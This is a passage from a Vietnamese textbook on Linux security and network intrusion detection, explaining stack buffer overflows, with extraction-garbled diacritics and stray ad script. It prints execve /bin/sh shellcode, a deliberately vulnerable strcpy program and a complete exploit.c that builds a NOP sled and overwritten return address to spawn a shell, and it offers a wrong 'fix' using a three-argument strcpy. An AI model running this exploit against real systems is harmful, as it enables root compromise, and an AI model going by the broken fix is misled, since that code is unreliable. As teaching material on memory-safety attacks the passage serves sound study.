Buffer Overflow (Tràn bộ đệm)

Một phần của tài liệu An toàn & bảo mật thông tin trên LINUX Hệ thống bảo mật & phát hiện xâm nhập mạng (Nids) (Trang 61 - 65)

- Sao chộp lại tất cả cỏc files mà kẻ xõm nhập để lại hay thay đổi (như những đoạn mó chương trỡnh, log file, )

4.3Buffer Overflow (Tràn bộ đệm)

4 Một số lỗi bảo mật cơ bản: 1 Attack From Inside Un

4.3Buffer Overflow (Tràn bộ đệm)

Đa phần cỏc exploit code của hacker được viết bằng c, dịch và chạy trờn unix, nhằm tấn cụng vào lỗi tràn bộ đệm (buffer overflow) của mỏy chủ. Để nghiờn cứu về vấn đề này cần rất nhiều thời gian và cụng sức, vỡ cả lý thuyết và thực hành đều khụng dễ dàng gỡ. Trước tiờn xin núi về shellcode. Khi mở một exploit source file, ta thường thấy định nghĩa một mảng ký tự vớ dụ như thế này:

"\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3" "\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f" "\x62\x69\x6e\x2f\x73\x68";

Đú chỉ là dạng hiển thị ở hệ sụ 16 (Hexa) của một tập lệnh, mà thường thỡ khỏ đơn giản, đú là hàm gọi execve của c để gọi tới một tiến trỡnh khỏc trỏ bởi tờn file, cú thể là /bin/sh của unix hoặc c:\cmd.exe của windows. Việc sinh ra mó hexa này khỏ phức tạp. Bõy giờ chỳng ta cựng tỡm hiểu xem dựng shellcode tấn cụng vào lỗi tràn bộ đệm như thế nào.

char input[] = "aaaaaaaaaaa"; char buffer[10];

strcpy(buffer, input); // copy input vào buffer

Khi chạy đoạn lệnh này sẽ sinh ra lỗi segmentation fault vỡ copy 11 byte vào buffer chỉ chứa được 10 byte. Cũn đõy là bản sửa lỗi:

char input[] = "aaaaaaaaaaa"; char buffer[10];

strcpy(buffer, input, sizeof(buffer));

Vậy thỡ điều gỡ sẽ xảy ra khi gặp lỗi segmentation fault? Trong bộ nhớ thỡ cỏi buffer ở trờn cú dạng như sau:

buffer sfp ret

[BBBBBBBBBB][xxxx][xxxx]

Trong đú 10 bytes đầu để chứa dữ liệu (thực ra chỉ cú 9 byte thụi vỡ byte cuối phải chứa NULL để bỏo hiệu kết thỳc). Sau đú là Stack Frame Pointer 4 byte và Return Address 4 byte nữa. Khi mà hàm strcpy được gọi thỡ một stack frame được cấp phỏt trong bộ nhớ với format như trờn. Vớ dụ:

strcpy(one, two); printf("Okie\n");

Return address sẽ trỏ tới vị trớ của lệnh gọi tới hàm printf trong bộ nhớ, và khi hàm strcpy kết thỳc thỡ con trỏ lệnh sẽ chỉ tới đú. Bõy giờ hóy thử tưởng tượng xem nếu ta thay đổi cỏi địa chỉ đặt ở đú, để cho nú trỏ đến vị trớ của shell code thỡ sẽ ra sao? Nếu tiến trỡnh đang thực hiện ở với quyền của root thỡ ta sẽ cú được root shell. Nếu thay vỡ copy 10 byte chỳng ta cop hẳn 18 byte thỡ nú sẽ được điền đầy:

buffer sfp ret

[dddddddddd][dddd][dddd] (giả sử byte dữ liệu là d)

Lỳc đú return address sẽ là 0x64646464 (vỡ mó hex của 'd' là 0x64 mà). Chỳ ý là string luụn bị ngắt bởi NULL (0x0), nờn nếu đặt return address là 0x64006464 thỡ hai byte sau sẽ bị cắt đi. Một khỏi niệm cần quan tõm nữa là stack pointer. Mỗi một tiến trỡnh khi chạy sẽ sinh ra một stack pointer trỏ đến địa chỉ khởi đầu của stack. Việc xỏc định stack pointer khỏ đơn giản bằng hàm sau:

/* sp.c */

unsigned long sp(void) {

("movl %esp, %eax"); } // và cú thể in ra được void main(void) { printf("0x%x\n", sp()); }

Giả sử bạn dịch xong rồi chạy nú:

$ ./sp 0xbfbffbc8 $

Thỡ giỏ trị của stack pointer là 0xbfbffbc8. Tức là tất cả cỏc biến được cấp phỏt bộ nhớ của chỳng ta trong chương trỡnh sẽ nằm sau địa chỉ này. Từ địa chỉ này chỳng ta sẽ tỡm được địa chỉ của buffer.

/************************************************************ * Linux 23 byte execve code. Greetz to preedator * * Linux 23 byte execve code. Greetz to preedator *

*************************************************************/ char linux[]= char linux[]=

"\x99" /* cdq */ "\x52" /* push %edx */

"\x68\x2f\x2f\x73\x68" /* push $0x68732f2f */ "\x68\x2f\x62\x69\x6e" /* push $0x6e69622f */

"\x89\xe3" /* mov %esp,%ebx */ "\x52" /* push %edx */

"\x54" /* push %esp */ "\x54" /* push %esp */ "\x59\x6a" /* pop %ecx */ "\x0b\x58" /* push $0x0b */ "\xcd\x80"; /* int $0x80 */ int main(){

void (*run)()=(void *)linux; printf("%d bytes \n",strlen(linux)); run();

} (adsbygoogle = window.adsbygoogle || []).push({});

/* www.hack.co.za [28 April 2001]*/

Cỏi này đó test, tuy bỏo lỗi segmentation fault nhưng vẫn chạy tốt. Nú sẽ gọi đến sh một lần nữa, và ta cú thể gừ exit để thoỏt ra. Ta hóy thử viết một chương trỡnh nhỏ cú ẩn chứa khả năng bị overflow:

/* vulnerable.c */

int main(int argc, char *argv[]) { char buffer[500]; if(argc>=2) { strcpy(buffer, argv[1]); ptintf(“Done!”); } return 0; }

Chương trỡnh này sẽ copy tham số truyền từ ngoài vào một mảng 500 byte. Dịch và chạy thử :

$ gcc -o vulnerable vulnerable.c $ ./vulnerable Hello

Done $

Khụng cú gỡ xảy ra cả vỡ “Hello” quỏ nhỏ so với 500 byte. Chỳng ta lại viết thờm một chương trỡnh nữa:

/* overflow.c */ void main() {

char buffer[501];

memset(&buffer, 'a', sizeof(buffer)); execl("./vulnerable", "vulnerable", buffer); }

Nú sẽ gọi đến vulnerable và truyền vào một mảng 501 byte.

$ gcc -o overflow overflow.c $ ./overflow

$

Khụng cú gỡ hiện ra cả, bởi vỡ lệnh strcpy đó sinh ra lỗi. Nếu chạy trờn linux thỡ cú thể sẽ hiện lỗi “Bus error”, cũn trờn cygwin thỡ khụng hiểu cú cơ chế gỡ bảo vệ bộ nhớ nờn khụng cú thụng bỏo lỗi. Bõy giờ hacker cú thể lợi dụng lỗi này để chạy shellcode. Cú 500 byte để chứa shellcode, bõy giờ hacker cú thể xỏc định shellcode nằm ở đõu trong bộ nhớ và cho trỏ lệnh nhảy đến đú. Ở trờn chỳng ta đó biết cỏc hacker cú thể xỏc định được stack pointer, và buffer sẽ nằm ở đõu đú đằng sau vị trớ này.

Một tiểu xảo của cỏc hacker, đú là dựng NOP. NOP (cú lẽ là Not OPerate) là một lệnh assembly cú mó \x90, nú chẳng làm gỡ cả, chỉ đơn giản là pass qua lệnh tiếp theo. Bỡnh thường thỡ lệnh này ớt sử dụng, chỉ đụi khi được dựng để tạo delay. được đặt vào

trước shellcode khoảng 200 byte NOP, cú thể chọn vị trớ tương đối của buffer, khi con trỏ lệnh trỏ đến khu vực này thỡ chỉ mất thờm mấy msec trước khi shellcode được thực hiện. Để cho chắc chắn chỳng tạo buffer lớn hơn 100 byte, nghĩa là 600 byte, và cú dạng:

[NOP][shellcode][return address]

Chỳ ý là đằng sau shellcode được điền đầy bởi return address để đảm bảo rằng giỏ trị return address sẽ được ghi vào phần chứa return address của buffer. Cú thể thay đổi giỏ trị của return address băng cỏch thờm vào sp một giỏ trị offset. Một chương trỡnh của hacker như sau:

/* exploit.c */ #include <stdlib.h>

#define BUFFERSIZE 600 /* buffer + 100 bytes */ /* linux x86 shellcode */

char shellcode[] = "\x99" /* cdq */ "\x52" /* push %edx */

"\x68\x2f\x2f\x73\x68" /* push $0x68732f2f */ "\x68\x2f\x62\x69\x6e" /* push $0x6e69622f */ "\x89\xe3" /* mov %esp,%ebx */

"\x52" /* push %edx */ "\x54" /* push %esp */ "\x54" /* push %esp */ "\x59\x6a" /* pop %ecx */ "\x0b\x58" /* push $0x0b */ "\xcd\x80";

unsigned long sp(void) /* hàm lấy sp */ { ("movl %esp, %eax"); } void usage(char *cmd)

{

printf("\nusage: %s <offset> \n\n", cmd); exit(-1);

}

int main(int argc, char *argv[]) {

int i, offset; (adsbygoogle = window.adsbygoogle || []).push({});

long esp, ret, *addr_ptr; char *buffer, *ptr, *osptr; if(argc<2) usage(argv[0]);

offset = atoi(argv[1]); /* lấy giỏ trị offset 0 - 200 */ esp = sp(); /* lấy sp */

ret = esp-offset; /* sp - offset = return address */ printf("Stack pointer: 0x%x\n", esp);

printf(" Offset: 0x%x\n", offset); printf(" Return addr: 0x%x\n", ret); /* cấp phỏt bộ nhớ cho buffer */ if(!(buffer = malloc(BUFFERSIZE))) { printf("Couldn't allocate memory.\n"); exit(-1);

}

/* điền đầy buffer bằng giỏ trị của return address */ ptr = buffer;

addr_ptr = (long *)ptr;

for(i=0; i<BUFFERSIZE; i+=4) *(addr_ptr++) = ret;

/* điền nửa đầu của buffer bằng mó lệnh NOP */ for(i=0; i<BUFFERSIZE/2; i++)

buffer[i] = '\x90';

/* ghi shellcode vào giữa buffer */

ptr = buffer + ((BUFFERSIZE/2) - (strlen(shellcode)/2)); for(i=0; i<strlen(shellcode); i++)

*(ptr++) = shellcode[i];

buffer[BUFFERSIZE-1] = 0;

execl("./vulnerable", "vulnerable", buffer); return 0;

}

4.5 DoS

Muốn thực hiện một cuộc tấn công DDOS phải cần ít nhất 3 yếu tố:

Một phần của tài liệu An toàn & bảo mật thông tin trên LINUX Hệ thống bảo mật & phát hiện xâm nhập mạng (Nids) (Trang 61 - 65)